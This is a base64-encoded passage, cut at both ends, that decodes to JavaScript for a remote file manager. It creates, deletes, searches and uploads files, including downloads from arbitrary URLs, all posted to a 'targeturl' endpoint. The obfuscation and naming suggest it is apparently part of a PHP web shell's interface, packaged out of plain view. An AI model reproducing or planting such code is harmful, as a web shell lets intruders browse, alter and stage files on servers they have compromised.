bWVGaWxlVG99LCBmdW5jdGlvbihyZXMpewoJCWlmKHJlcyE9J2Vycm9yJyl7CgkJCW5hdmlnYXRlKHJlcyk7CgkJCSQoJy5ib3hyZXN1bHQnKS5odG1sKCdPcGVyYXRpb24ocykgc3VjY2VlZGVkJyk7CgkJCSQoJy5yZW5hbWVGaWxlJykudmFsKCQoJy5yZW5hbWVGaWxlVG8nKS52YWwoKSk7CgkJfQoJCWVsc2UgJCgnLmJveHJlc3VsdCcpLmh0bWwoJ09wZXJhdGlvbihzKSBmYWlsZWQnKTsKCX0pOwp9CgpmdW5jdGlvbiBuZXdmb2xkZXIocGF0aCl7Cgl0aXRsZSA9ICJOZXcgRm9sZGVyIjsKCXBhdGggPSBwYXRoICsgJ25ld2ZvbGRlci0nICsgdGltZSgpOwoJY29udGVudCA9ICI8dGFibGUgY2xhc3M9J2JveHRibCc+PHRyPjx0ZCBjbGFzcz0nY29sRml0Jz5Gb2xkZXIgTmFtZTwvdGQ+PHRkPjxpbnB1dCB0eXBlPSd0ZXh0JyBjbGFzcz0nbmV3Rm9sZGVyJyB2YWx1ZT0nIitwYXRoKyInIG9ua2V5ZG93bj1cInRyYXBfZW50ZXIoZXZlbnQsICduZXdmb2xkZXJfZ28nKTtcIj48L3RkPjwvdHI+PHRyPjx0ZCBjb2xzcGFuPScyJz48c3BhbiBjbGFzcz0nYnV0dG9uJyBvbmNsaWNrPSduZXdmb2xkZXJfZ28oKTsnPmNyZWF0ZTwvc3Bhbj48L3RkPjwvdHI+PC90YWJsZT4iOwoJc2hvd19ib3godGl0bGUsIGNvbnRlbnQpOwp9CgpmdW5jdGlvbiBuZXdmb2xkZXJfZ28oKXsKCW5ld0ZvbGRlciA9ICQoJy5uZXdGb2xkZXInKS52YWwoKTsKCXNlbmRfcG9zdCh7bmV3Rm9sZGVyOm5ld0ZvbGRlcn0sIGZ1bmN0aW9uKHJlcyl7CgkJaWYocmVzIT0nZXJyb3InKXsKCQkJbmF2aWdhdGUocmVzKTsKCQkJJCgnLmJveHJlc3VsdCcpLmh0bWwoJ09wZXJhdGlvbihzKSBzdWNjZWVkZWQnKTsKCQl9CgkJZWxzZSAkKCcuYm94cmVzdWx0JykuaHRtbCgnT3BlcmF0aW9uKHMpIGZhaWxlZCcpOwoJfSk7Cn0KCmZ1bmN0aW9uIG5ld2ZpbGUocGF0aCl7Cgl0aXRsZSA9ICJOZXcgRmlsZSI7CglwYXRoID0gcGF0aCArICduZXdmaWxlLScgKyB0aW1lKCk7Cgljb250ZW50ID0gIjx0YWJsZSBjbGFzcz0nYm94dGJsJz48dHI+PHRkIGNsYXNzPSdjb2xGaXQnPkZpbGUgTmFtZTwvdGQ+PHRkPjxpbnB1dCB0eXBlPSd0ZXh0JyBjbGFzcz0nbmV3RmlsZScgdmFsdWU9JyIrcGF0aCsiJyBvbmtleWRvd249XCJ0cmFwX2VudGVyKGV2ZW50LCAnbmV3ZmlsZV9nbycpO1wiPjwvdGQ+PC90cj48dHI+PHRkIGNvbHNwYW49JzInPjxzcGFuIGNsYXNzPSdidXR0b24nIG9uY2xpY2s9J25ld2ZpbGVfZ28oKTsnPmNyZWF0ZTwvc3Bhbj48L3RkPjwvdHI+PC90YWJsZT4iOwoJc2hvd19ib3godGl0bGUsIGNvbnRlbnQpOwp9CgpmdW5jdGlvbiBuZXdmaWxlX2dvKCl7CgluZXdGaWxlID0gJCgnLm5ld0ZpbGUnKS52YWwoKTsKCXNlbmRfcG9zdCh7bmV3RmlsZTpuZXdGaWxlfSwgZnVuY3Rpb24ocmVzKXsKCQlpZihyZXMhPSdlcnJvcicpewoJCQl2aWV3KG5ld0ZpbGUsICdlZGl0Jyk7CgkJCSQoJy5ib3hyZXN1bHQnKS5odG1sKCdPcGVyYXRpb24ocykgc3VjY2VlZGVkJyk7CgkJfQoJCWVsc2UgJCgnLmJveHJlc3VsdCcpLmh0bWwoJ09wZXJhdGlvbihzKSBmYWlsZWQnKTsKCX0pOwp9CgpmdW5jdGlvbiB2aWV3ZmlsZW9yZm9sZGVyKCl7Cgl0aXRsZSA9ICJWaWV3IEZpbGUgLyBGb2xkZXIiOwoJY29udGVudCA9ICI8dGFibGUgY2xhc3M9J2JveHRibCc+PHRyPjx0ZD48aW5wdXQgdHlwZT0ndGV4dCcgY2xhc3M9J3ZpZXdGaWxlb3JGb2xkZXInIHZhbHVlPSciK2h0bWxfc2FmZShnZXRfY3dkKCkpKyInIG9ua2V5ZG93bj1cInRyYXBfZW50ZXIoZXZlbnQsICd2aWV3ZmlsZW9yZm9sZGVyX2dvJyk7XCI+PC90ZD48L3RyPjx0cj48dGQ+PHNwYW4gY2xhc3M9J2J1dHRvbicgb25jbGljaz0ndmlld2ZpbGVvcmZvbGRlcl9nbygpOyc+dmlldzwvc3Bhbj48L3RkPjwvdHI+PC90YWJsZT4iOwoJc2hvd19ib3godGl0bGUsIGNvbnRlbnQpOwp9CgpmdW5jdGlvbiB2aWV3ZmlsZW9yZm9sZGVyX2dvKCl7CgllbnRyeSA9ICQoJy52aWV3RmlsZW9yRm9sZGVyJykudmFsKCk7CglzZW5kX3Bvc3Qoe3ZpZXdGaWxlb3JGb2xkZXI6ZW50cnl9LCBmdW5jdGlvbihyZXMpewoJCWlmKHJlcyE9J2Vycm9yJyl7CgkJCWlmKHJlcz09J2ZpbGUnKXsKCQkJCXZpZXcoZW50cnksICdhdXRvJyk7CgkJCQlzaG93X3RhYignZXhwbG9yZXInKTsKCQkJfQoJCQllbHNlIGlmKHJlcz09J2ZvbGRlcicpewoJCQkJbmF2aWdhdGUoZW50cnkpOwoJCQkJc2hvd190YWIoJ2V4cGxvcmVyJyk7CgkJCX0KCQl9Cgl9KTsKfQoKZnVuY3Rpb24gZGVsKHBhdGgpewoJdGl0bGUgPSAiRGVsZXRlIjsKCWNvbnRlbnQgPSAiPHRhYmxlIGNsYXNzPSdib3h0YmwnPjx0cj48dGQgY2xhc3M9J2NvbEZpdCc+RGVsZXRlPC90ZD48dGQ+PGlucHV0IHR5cGU9J3RleHQnIGNsYXNzPSdkZWxldGUnIHZhbHVlPSciK3BhdGgrIicgb25rZXlkb3duPVwidHJhcF9lbnRlcihldmVudCwgJ2RlbGV0ZV9nbycpO1wiPjwvdGQ+PC90cj48dHI+PHRkIGNvbHNwYW49JzInPjxzcGFuIGNsYXNzPSdidXR0b24nIG9uY2xpY2s9J2RlbGV0ZV9nbygpOyc+ZGVsZXRlPC9zcGFuPjwvdGQ+PC90cj48L3RhYmxlPiI7CglzaG93X2JveCh0aXRsZSwgY29udGVudCk7Cn0KCmZ1bmN0aW9uIGRlbGV0ZV9nbygpewoJcGF0aCA9ICQoJy5kZWxldGUnKS52YWwoKTsKCXNlbmRfcG9zdCh7ZGVsZXRlOnBhdGh9LCBmdW5jdGlvbihyZXMpewoJCWlmKHJlcyE9J2Vycm9yJyl7CgkJCW5hdmlnYXRlKHJlcyk7CgkJCSQoJy5ib3hyZXN1bHQnKS5odG1sKCdPcGVyYXRpb24ocykgc3VjY2VlZGVkJyk7CgkJfQoJCWVsc2UgJCgnLmJveHJlc3VsdCcpLmh0bWwoJ09wZXJhdGlvbihzKSBmYWlsZWQnKTsKCX0pOwp9CgpmdW5jdGlvbiBmaW5kKHBhdGgpewoJZmluZGZpbGUgPSAiPHRhYmxlIGNsYXNzPSdib3h0YmwnPjx0aGVhZD48dHI+PHRoIGNvbHNwYW49JzInPjxwIGNsYXNzPSdib3h0aXRsZSc+RmluZCBGaWxlPC9wPjwvdGg+PC90cj48L3RoZWFkPjx0Ym9keT48dHI+PHRkIHN0eWxlPSd3aWR0aDoxNDRweCc+U2VhcmNoIGluPC90ZD48dGQ+PGlucHV0IHR5cGU9J3RleHQnIGNsYXNzPSdmaW5kZmlsZVBhdGgnIHZhbHVlPSciK3BhdGgrIicgb25rZXlkb3duPVwidHJhcF9lbnRlcihldmVudCwgJ2ZpbmRfZ29fZmlsZScpO1wiPjwvdGQ+PC90cj48dHI+PHRkIHN0eWxlPSdib3JkZXItYm90dG9tOm5vbmU7Jz5GaWxlbmFtZSBjb250YWluczwvdGQ+PHRkIHN0eWxlPSdib3JkZXItYm90dG9tOm5vbmU7Jz48aW5wdXQgdHlwZT0ndGV4dCcgY2xhc3M9J2ZpbmRmaWxlRmlsZW5hbWUnIG9ua2V5ZG93bj1cInRyYXBfZW50ZXIoZXZlbnQsICdmaW5kX2dvX2ZpbGUnKTtcIj48L3RkPjwvdHI+PHRyPjx0ZD48L3RkPjx0ZD48c3BhbiBjbGFzcz0nY0JveCBmaW5kZmlsZUZpbGVuYW1lUmVnZXgnPjwvc3Bhbj48c3BhbiBjbGFzcz0nZmxvYXRMZWZ0Jz5SZWdleDwvc3Bhbj4mbmJzcDsmbmJzcDs8c3BhbiBjbGFzcz0nY0JveCBmaW5kZmlsZUZpbGVuYW1lSW5zZW5zaXRpdmUnPjwvc3Bhbj48c3BhbiBjbGFzcz0nZmxvYXRMZWZ0Jz5DYXNlIEluc2Vuc2l0aXZlPC9zcGFuPjwvdGQ+PC90cj48dHI+PHRkIHN0eWxlPSdib3JkZXItYm90dG9tOm5vbmU7Jz5GaWxlIGNvbnRhaW5zPC90ZD48dGQgc3R5bGU9J2JvcmRlci1ib3R0b206bm9uZTsnPjxpbnB1dCB0eXBlPSd0ZXh0JyBjbGFzcz0nZmluZGZpbGVDb250YWlucycgb25rZXlkb3duPVwidHJhcF9lbnRlcihldmVudCwgJ2ZpbmRfZ29fZmlsZScpO1wiPjwvdGQ+PC90cj48dHI+PHRkPjwvdGQ+PHRkPjxzcGFuIGNsYXNzPSdjQm94IGZpbmRmaWxlQ29udGFpbnNSZWdleCc+PC9zcGFuPjxzcGFuIGNsYXNzPSdmbG9hdExlZnQnPlJlZ2V4PC9zcGFuPiZuYnNwOyZuYnNwOzxzcGFuIGNsYXNzPSdjQm94IGZpbmRmaWxlQ29udGFpbnNJbnNlbnNpdGl2ZSc+PC9zcGFuPjxzcGFuIGNsYXNzPSdmbG9hdExlZnQnPkNhc2UgSW5zZW5zaXRpdmU8L3NwYW4+PC90ZD48L3RyPjx0cj48dGQ+UGVybWlzc2lvbnM8L3RkPjx0ZD48c3BhbiBjbGFzcz0nY0JveCBmaW5kZmlsZVJlYWRhYmxlJz48L3NwYW4+PHNwYW4gY2xhc3M9J2Zsb2F0TGVmdCc+UmVhZGFibGU8L3NwYW4+Jm5ic3A7Jm5ic3A7PHNwYW4gY2xhc3M9J2NCb3ggZmluZGZpbGVXcml0YWJsZSc+PC9zcGFuPjxzcGFuIGNsYXNzPSdmbG9hdExlZnQnPldyaXRhYmxlPC9zcGFuPiZuYnNwOyZuYnNwOzxzcGFuIGNsYXNzPSdjQm94IGZpbmRmaWxlRXhlY3V0YWJsZSc+PC9zcGFuPjxzcGFuIGNsYXNzPSdmbG9hdExlZnQnPkV4ZWN1dGFibGU8L3NwYW4+PC90ZD48L3RyPjwvdGJvZHk+PHRmb290Pjx0cj48dGQ+PHNwYW4gY2xhc3M9J2J1dHRvbiBuYXZiYXInIGRhdGEtcGF0aD0nIitwYXRoKyInPmV4cGxvcmVyPC9zcGFuPjwvdGQ+PHRkPjxzcGFuIGNsYXNzPSdidXR0b24nIG9uY2xpY2s9XCJmaW5kX2dvX2ZpbGUoKTtcIj5maW5kPC9zcGFuPjwvdGQ+PC90cj48dHI+PHRkIGNvbHNwYW49JzInIGNsYXNzPSdmaW5kZmlsZVJlc3VsdCc+PC90ZD48L3RyPjwvdGZvb3Q+PC90YWJsZT4iOwoJZmluZGZvbGRlciA9ICI8dGFibGUgY2xhc3M9J2JveHRibCc+PHRoZWFkPjx0cj48dGggY29sc3Bhbj0nMic+PHAgY2xhc3M9J2JveHRpdGxlJz5GaW5kIEZvbGRlcjwvcD48L3RoPjwvdHI+PC90aGVhZD48dGJvZHk+PHRyPjx0ZCBzdHlsZT0nd2lkdGg6MTQ0cHgnPlNlYXJjaCBpbjwvdGQ+PHRkPjxpbnB1dCB0eXBlPSd0ZXh0JyBjbGFzcz0nZmluZEZvbGRlclBhdGgnIHZhbHVlPSciK3BhdGgrIicgb25rZXlkb3duPVwidHJhcF9lbnRlcihldmVudCwgJ2ZpbmRfZ29fZm9sZGVyJyk7XCI+PC90ZD48L3RyPjx0cj48dGQgc3R5bGU9J2JvcmRlci1ib3R0b206bm9uZTsnPkZvbGRlcm5hbWUgY29udGFpbnM8L3RkPjx0ZCBzdHlsZT0nYm9yZGVyLWJvdHRvbTpub25lOyc+PGlucHV0IHR5cGU9J3RleHQnIGNsYXNzPSdmaW5kRm9sZGVybmFtZScgb25rZXlkb3duPVwidHJhcF9lbnRlcihldmVudCwgJ2ZpbmRfZ29fZm9sZGVyJyk7XCI+PC90ZD48L3RyPjx0cj48dGQ+PC90ZD48dGQ+PHNwYW4gY2xhc3M9J2NCb3ggZmluZEZvbGRlcm5hbWVSZWdleCc+PC9zcGFuPjxzcGFuIGNsYXNzPSdmbG9hdExlZnQnPlJlZ2V4PC9zcGFuPiZuYnNwOyZuYnNwOyZuYnNwOzxzcGFuIGNsYXNzPSdjQm94IGZpbmRGb2xkZXJuYW1lSW5zZW5zaXRpdmUnPjwvc3Bhbj48c3BhbiBjbGFzcz0nZmxvYXRMZWZ0Jz5DYXNlIEluc2Vuc2l0aXZlPC9zcGFuPjwvdGQ+PC90cj48dHI+PHRkPlBlcm1pc3Npb25zPC90ZD48dGQ+PHNwYW4gY2xhc3M9J2NCb3ggZmluZFJlYWRhYmxlJz48L3NwYW4+PHNwYW4gY2xhc3M9J2Zsb2F0TGVmdCc+UmVhZGFibGU8L3NwYW4+Jm5ic3A7Jm5ic3A7PHNwYW4gY2xhc3M9J2NCb3ggZmluZFdyaXRhYmxlJz48L3NwYW4+PHNwYW4gY2xhc3M9J2Zsb2F0TGVmdCc+V3JpdGFibGU8L3NwYW4+Jm5ic3A7Jm5ic3A7PHNwYW4gY2xhc3M9J2NCb3ggZmluZEV4ZWN1dGFibGUnPjwvc3Bhbj48c3BhbiBjbGFzcz0nZmxvYXRMZWZ0Jz5FeGVjdXRhYmxlPC9zcGFuPjwvdGQ+PC90cj48L3Rib2R5Pjx0Zm9vdD48dHI+PHRkPjxzcGFuIGNsYXNzPSdidXR0b24gbmF2YmFyJyBkYXRhLXBhdGg9JyIrcGF0aCsiJz5leHBsb3Jlcjwvc3Bhbj48L3RkPjx0ZD48c3BhbiBjbGFzcz0nYnV0dG9uJyBvbmNsaWNrPVwiZmluZF9nb19mb2xkZXIoKTtcIj5maW5kPC9zcGFuPjwvdGQ+PC90cj48dHI+PHRkIGNvbHNwYW49JzInIGNsYXNzPSdmaW5kUmVzdWx0Jz48L3RkPjwvdHI+PC90Zm9vdD48L3RhYmxlPiI7CgkkKCcjZXhwbG9yZXInKS5odG1sKCI8ZGl2IGlkPSd4cGxVcGxvYWQnPiIgK2ZpbmRmaWxlKyc8YnI+JytmaW5kZm9sZGVyKyc8L2Rpdj4nKTsKCWNib3hfYmluZCgneHBsVXBsb2FkJyk7Cn0KCmZ1bmN0aW9uIGZpbmRfZ29fZmlsZSgpewoJZmluZF9nbygnZmlsZScpOwp9CgpmdW5jdGlvbiBmaW5kX2dvX2ZvbGRlcigpewoJZmluZF9nbygnZm9sZGVyJyk7Cn0KCmZ1bmN0aW9uIGZpbmRfZ28oZmluZFR5cGUpewoJZmluZFBhdGggPSAoZmluZFR5cGU9PSdmaWxlJyk/ICQoJy5maW5kZmlsZVBhdGgnKS52YWwoKTokKCcuZmluZEZvbGRlclBhdGgnKS52YWwoKTsKCWZpbmRSZXN1bHQgPSAoZmluZFR5cGU9PSdmaWxlJyk/ICQoJy5maW5kZmlsZVJlc3VsdCcpOiQoJy5maW5kUmVzdWx0Jyk7CgoJZmluZE5hbWUgPSAoZmluZFR5cGU9PSdmaWxlJyk/ICQoJy5maW5kZmlsZUZpbGVuYW1lJykudmFsKCk6JCgnLmZpbmRGb2xkZXJuYW1lJykudmFsKCk7CglmaW5kTmFtZVJlZ2V4ID0gKGZpbmRUeXBlPT0nZmlsZScpPyAkKCcuZmluZGZpbGVGaWxlbmFtZVJlZ2V4JykuaGFzQ2xhc3MoJ2NCb3hTZWxlY3RlZCcpLnRvU3RyaW5nKCk6JCgnLmZpbmRGb2xkZXJuYW1lUmVnZXgnKS5oYXNDbGFzcygnY0JveFNlbGVjdGVkJykudG9TdHJpbmcoKTsKCWZpbmROYW1lSW5zZW5zaXRpdmUgPSAoZmluZFR5cGU9PSdmaWxlJyk/ICQoJy5maW5kZmlsZUZpbGVuYW1lSW5zZW5zaXRpdmUnKS5oYXNDbGFzcygnY0JveFNlbGVjdGVkJykudG9TdHJpbmcoKTokKCcuZmluZEZvbGRlcm5hbWVJbnNlbnNpdGl2ZScpLmhhc0NsYXNzKCdjQm94U2VsZWN0ZWQnKS50b1N0cmluZygpOwoKCWZpbmRDb250ZW50ID0gKGZpbmRUeXBlPT0nZmlsZScpPyAkKCcuZmluZGZpbGVDb250YWlucycpLnZhbCgpOiIiOwoJZmluZENvbnRlbnRSZWdleCA9IChmaW5kVHlwZT09J2ZpbGUnKT8gJCgnLmZpbmRmaWxlQ29udGFpbnNSZWdleCcpLmhhc0NsYXNzKCdjQm94U2VsZWN0ZWQnKS50b1N0cmluZygpOiIiOwoJZmluZENvbnRlbnRJbnNlbnNpdGl2ZSA9IChmaW5kVHlwZT09J2ZpbGUnKT8gJCgnLmZpbmRmaWxlQ29udGFpbnNJbnNlbnNpdGl2ZScpLmhhc0NsYXNzKCdjQm94U2VsZWN0ZWQnKS50b1N0cmluZygpOiIiOwoKCWZpbmRSZWFkYWJsZSA9IChmaW5kVHlwZT09J2ZpbGUnKT8gJCgnLmZpbmRmaWxlUmVhZGFibGUnKS5oYXNDbGFzcygnY0JveFNlbGVjdGVkJykudG9TdHJpbmcoKTokKCcuZmluZFdyaXRhYmxlJykuaGFzQ2xhc3MoJ2NCb3hTZWxlY3RlZCcpLnRvU3RyaW5nKCk7CglmaW5kV3JpdGFibGUgPSAoZmluZFR5cGU9PSdmaWxlJyk/ICQoJy5maW5kZmlsZVdyaXRhYmxlJykuaGFzQ2xhc3MoJ2NCb3hTZWxlY3RlZCcpLnRvU3RyaW5nKCk6JCgnLmZpbmRSZWFkYWJsZScpLmhhc0NsYXNzKCdjQm94U2VsZWN0ZWQnKS50b1N0cmluZygpOwoJZmluZEV4ZWN1dGFibGUgPSAoZmluZFR5cGU9PSdmaWxlJyk/ICQoJy5maW5kZmlsZUV4ZWN1dGFibGUnKS5oYXNDbGFzcygnY0JveFNlbGVjdGVkJykudG9TdHJpbmcoKTokKCcuZmluZEV4ZWN1dGFibGUnKS5oYXNDbGFzcygnY0JveFNlbGVjdGVkJykudG9TdHJpbmcoKTsKCglzZW5kX3Bvc3QoCgkJewoJCQlmaW5kVHlwZTpmaW5kVHlwZSwKCQkJZmluZFBhdGg6ZmluZFBhdGgsCgkJCWZpbmROYW1lOmZpbmROYW1lLAoJCQlmaW5kTmFtZVJlZ2V4OmZpbmROYW1lUmVnZXgsCgkJCWZpbmROYW1lSW5zZW5zaXRpdmU6ZmluZE5hbWVJbnNlbnNpdGl2ZSwKCQkJZmluZENvbnRlbnQ6ZmluZENvbnRlbnQsCgkJCWZpbmRDb250ZW50UmVnZXg6ZmluZENvbnRlbnRSZWdleCwKCQkJZmluZENvbnRlbnRJbnNlbnNpdGl2ZTpmaW5kQ29udGVudEluc2Vuc2l0aXZlLAoJCQlmaW5kUmVhZGFibGU6ZmluZFJlYWRhYmxlLAoJCQlmaW5kV3JpdGFibGU6ZmluZFdyaXRhYmxlLAoJCQlmaW5kRXhlY3V0YWJsZTpmaW5kRXhlY3V0YWJsZQoJCX0sCgkJZnVuY3Rpb24ocmVzKXsKCQkJaWYocmVzIT0nZXJyb3InKXsKCQkJCWZpbmRSZXN1bHQuaHRtbChyZXMpOwoJCQl9CgkJfQoJKTsKfQoKZnVuY3Rpb24gdWxfZ29fY29tcCgpewoJdWxfZ28oJ2NvbXAnKTsKfQoKZnVuY3Rpb24gdWxfZ29fdXJsKCl7Cgl1bF9nbygndXJsJyk7Cn0KCmZ1bmN0aW9uIHVsKHBhdGgpewoJdWxjb21wdXRlciA9ICI8dGFibGUgY2xhc3M9J2JveHRibCB1bGNvbXAnPjx0aGVhZD48dHI+PHRoIGNvbHNwYW49JzInPjxwIGNsYXNzPSdib3h0aXRsZSc+VXBsb2FkIEZyb20gQ29tcHV0ZXIgPGEgb25jbGljaz0ndWxfYWRkX2NvbXAoKTsnPigrKTwvYT48L3A+PC90aD48L3RyPjwvdGhlYWQ+PHRib2R5IGNsYXNzPSd1bGNvbXBhZGQnPjwvdGJvZHk+PHRmb290Pjx0cj48dGQ+PHNwYW4gY2xhc3M9J2J1dHRvbiBuYXZiYXInIGRhdGEtcGF0aD0nIitwYXRoKyInPmV4cGxvcmVyPC9zcGFuPjwvdGQ+PHRkPjxzcGFuIGNsYXNzPSdidXR0b24nIG9uY2xpY2s9XCJ1bF9nb19jb21wKCk7XCI+dXBsb2FkPC9zcGFuPjwvdGQ+PC90cj48dHI+PHRkIGNvbHNwYW49JzInIGNsYXNzPSd1bENvbXBSZXN1bHQnPjwvdGQ+PC90cj48dHI+PHRkIGNvbHNwYW49JzInPjxkaXYgaWQ9J3VsRHJhZ05Ecm9wJz5PciBEcmFnIGFuZCBEcm9wIGZpbGVzIGhlcmU8L2Rpdj48L3RkPjwvdHI+PHRyPjx0ZCBjb2xzcGFuPScyJyBjbGFzcz0ndWxEcmFnTkRyb3BSZXN1bHQnPjwvdGQ+PC90cj48L3Rmb290PjwvdGFibGU+IjsKCXVsdXJsID0gIjx0YWJsZSBjbGFzcz0nYm94dGJsIHVsdXJsJz48dGhlYWQ+PHRyPjx0aCBjb2xzcGFuPScyJz48cCBjbGFzcz0nYm94dGl0bGUnPlVwbG9hZCBGcm9tIFVybCA8YSBvbmNsaWNrPSd1bF9hZGRfdXJsKCk7Jz4oKyk8L2E+PC9wPjwvdGg+PC90cj48L3RoZWFkPjx0Ym9keSBjbGFzcz0ndWx1cmxhZGQnPjwvdGJvZHk+PHRmb290Pjx0cj48dGQ+PHNwYW4gY2xhc3M9J2J1dHRvbiBuYXZiYXInIGRhdGEtcGF0aD0nIitwYXRoKyInPmV4cGxvcmVyPC9zcGFuPjwvdGQ+PHRkPjxzcGFuIGNsYXNzPSdidXR0b24nIG9uY2xpY2s9XCJ1bF9nb191cmwoKTtcIj51cGxvYWQ8L3NwYW4+PC90ZD48L3RyPjx0cj48dGQgY29sc3Bhbj0nMicgY2xhc3M9J3VsVXJsUmVzdWx0Jz48L3RkPjwvdHI+PC90Zm9vdD48L3RhYmxlPiI7Cgljb250ZW50ID0gdWxjb21wdXRlciArICc8YnI+JyArIHVsdXJsICsgIjxpbnB1dCB0eXBlPSdoaWRkZW4nIGNsYXNzPSd1bF9wYXRoJyB2YWx1ZT0nIitwYXRoKyInPiI7CgkkKCcjZXhwbG9yZXInKS5odG1sKGNvbnRlbnQpOwoJdWxfYWRkX2NvbXAoKTsKCXVsX2FkZF91cmwoKTsKCgkkKCcjdWxEcmFnTkRyb3AnKS5vbignZHJhZ2VudGVyJywgZnVuY3Rpb24oZSl7CgkJZS5zdG9wUHJvcGFnYXRpb24oKTsKCQllLnByZXZlbnREZWZhdWx0KCk7Cgl9KTsKCgkkKCcjdWxEcmFnTkRyb3AnKS5vbignZHJhZ292ZXInLCBmdW5jdGlvbihlKXsKCQllLnN0b3BQcm9wYWdhdGlvbigpOwoJCWUucHJldmVudERlZmF1bHQoKTsKCX0pOwoKCSQoJyN1bERyYWdORHJvcCcpLm9uKCdkcm9wJywgZnVuY3Rpb24oZSl7CgkJZS5zdG9wUHJvcGFnYXRpb24oKTsKCQllLnByZXZlbnREZWZhdWx0KCk7CgoJCWZpbGVzID0gZS50YXJnZXQuZmlsZXMgfHwgZS5kYXRhVHJhbnNmZXIuZmlsZXM7CgkJdWxSZXN1bHQgPSAkKCcudWxEcmFnTkRyb3BSZXN1bHQnKTsKCQl1bFJlc3VsdC5odG1sKCcnKTsKCQkkLmVhY2goZmlsZXMsIGZ1bmN0aW9uKGkpewoJCQlpZih0aGlzKXsKCQkJCXVsVHlwZSA9ICdEcmFnTkRyb3AnOwoJCQkJZmlsZW5hbWUgPSB0aGlzLm5hbWU7CgoJCQkJdmFyIGZvcm1EYXRhID0gbmV3IEZvcm1EYXRhKCk7CgkJCQlmb3JtRGF0YS5hcHBlbmQoJ3VsRmlsZScsIHRoaXMpOwoJCQkJZm9ybURhdGEuYXBwZW5kKCd1bFNhdmVUbycsIGdldF9jd2QoKSk7CgkJCQlmb3JtRGF0YS5hcHBlbmQoJ3VsRmlsZW5hbWUnLCBmaWxlbmFtZSk7CgkJCQlmb3JtRGF0YS5hcHBlbmQoJ3VsVHlwZScsICdjb21wJyk7CgoJCQkJZW50cnkgPSAiPHAgY2xhc3M9J3VsUmVzIit1bFR5cGUraSsiJz48c3BhbiBjbGFzcz0nc3Ryb25nJz4mZ3Q7PC9zcGFuPiZuYnNwOzxhIG9uY2xpY2s9J3ZpZXdfZW50cnkodGhpcyk7JyBjbGFzcz0ndWxGaWxlbmFtZSIrdWxUeXBlK2krIic+IitmaWxlbmFtZSsiPC9hPiZuYnNwOzxzcGFuIGNsYXNzPSd1bFByb2dyZXNzIit1bFR5cGUraSsiJz48L3NwYW4+PC9wPiI7CgkJCQl1bFJlc3VsdC5hcHBlbmQoZW50cnkpOwoKCQkJCWlmKHRoaXMuc2l6ZTw9MCl7CgkJCQkJJCgnLnVsUHJvZ3Jlc3MnK3VsVHlwZStpKS5odG1sKCcoIGZhaWxlZCApJyk7CgkJCQkJJCgnLnVsUHJvZ3Jlc3MnK3VsVHlwZStpKS5yZW1vdmVDbGFzcygndWxQcm9ncmVzcycrdWxUeXBlK2kpOwoJCQkJCSQoJy51bEZpbGVuYW1lJyt1bFR5cGUraSkucmVtb3ZlQ2xhc3MoJ3VsRmlsZW5hbWUnK3VsVHlwZStpKTsKCQkJCX0KCQkJCWVsc2V7CgkJCQkJdWxfc3RhcnQoZm9ybURhdGEsIHVsVHlwZSwgaSk7CgkJCQl9CgkJCX0KCQl9KTsKCX0pOwp9CgpmdW5jdGlvbiB1bF9hZGRfY29tcChwYXRoKXsKCXBhdGggPSBodG1sX3NhZmUoJCgnLnVsX3BhdGgnKS52YWwoKSk7CgkkKCcudWxjb21wYWRkJykuYXBwZW5kKCI8dHI+PHRkIHN0eWxlPSd3aWR0aDoxNDRweCc+RmlsZTwvdGQ+PHRkPjxpbnB1dCB0eXBlPSdmaWxlJyBjbGFzcz0ndWxGaWxlQ29tcCc+PC90ZD48L3RyPjx0cj48dGQ+U2F2ZSB0bzwvdGQ+PHRkPjxpbnB1dCB0eXBlPSd0ZXh0JyBjbGFzcz0ndWxTYXZlVG9Db21wJyB2YWx1ZT0nIitwYXRoKyInIG9ua2V5ZG93bj1cInRyYXBfZW50ZXIoZXZlbnQsICd1bF9nb19jb21wJyk7XCI+PC90ZD48L3RyPjx0cj48dGQ+RmlsZW5hbWUgKE9wdGlvbmFsKTwvdGQ+PHRkPjxpbnB1dCB0eXBlPSd0ZXh0JyBjbGFzcz0ndWxGaWxlbmFtZUNvbXAnIG9ua2V5ZG93bj1cInRyYXBfZW50ZXIoZXZlbnQsICd1bF9nb19jb21wJyk7XCI+PC90ZD48L3RyPiIpOwp9CgpmdW5jdGlvbiB1bF9hZGRfdXJsKHBhdGgpewoJcGF0aCA9IGh0bWxfc2FmZSgkKCcudWxfcGF0aCcpLnZhbCgpKTsKCSQoJy51bHVybGFkZCcpLmFwcGVuZCgiPHRyPjx0ZCBzdHlsZT0nd2lkdGg6MTQ0cHgnPkZpbGUgVVJMPC90ZD48dGQ+PGlucHV0IHR5cGU9J3RleHQnIGNsYXNzPSd1bEZpbGVVcmwnIG9ua2V5ZG93bj1cInRyYXBfZW50ZXIoZXZlbnQsICd1bF9nb191cmwnKTtcIj48L3RkPjwvdHI+PHRyPjx0ZD5TYXZlIHRvPC90ZD48dGQ+PGlucHV0IHR5cGU9J3RleHQnIGNsYXNzPSd1bFNhdmVUb1VybCcgdmFsdWU9JyIrcGF0aCsiJyBvbmtleWRvd249XCJ0cmFwX2VudGVyKGV2ZW50LCAndWxfZ29fdXJsJyk7XCI+PC90ZD48L3RyPjx0cj48dGQ+RmlsZW5hbWUgKE9wdGlvbmFsKTwvdGQ+PHRkPjxpbnB1dCB0eXBlPSd0ZXh0JyBjbGFzcz0ndWxGaWxlbmFtZVVybCcgb25rZXlkb3duPVwidHJhcF9lbnRlcihldmVudCwgJ3VsX2dvX3VybCcpO1wiPjwvdGQ+PC90cj4iKTsKfQoKZnVuY3Rpb24gdWxfc3RhcnQoZm9ybURhdGEsIHVsVHlwZSwgaSl7Cglsb2FkaW5nX3N0YXJ0KCk7CgkkLmFqYXgoewoJCXVybDogdGFyZ2V0dXJsLAoJCXR5cGU6ICdQT1NUJywKCQlkYXRhOiBmb3JtRGF0YSwKCQljYWNoZTogZmFsc2UsCgkJY29udGVudFR5cGU6IGZhbHNlLAoJCXByb2Nlc3NEYXRhOiBmYWxzZSwKCQl4aHI6IGZ1bmN0aW9uKCl7CgkJCW15WGhyID0gJC5hamF4U2V0dGluZ3MueGhyKCk7CgkJCWlmKG15WGhyLnVwbG9hZCl7CgkJCQlteVhoci51cGxvYWQuYWRkRXZlbnRMaXN0ZW5lcigncHJvZ3Jlc3MnLCBmdW5jdGlvbihlKXsKCQkJCQlwZXJjZW50ID0gTWF0aC5mbG9vcihlLmxvYWRlZCAvIGUudG90YWwgKiAxMDApOwoJCQkJCSQoJy51bFByb2dyZXNzJyt1bFR5cGUraSkuaHRtbCgnKCAnKy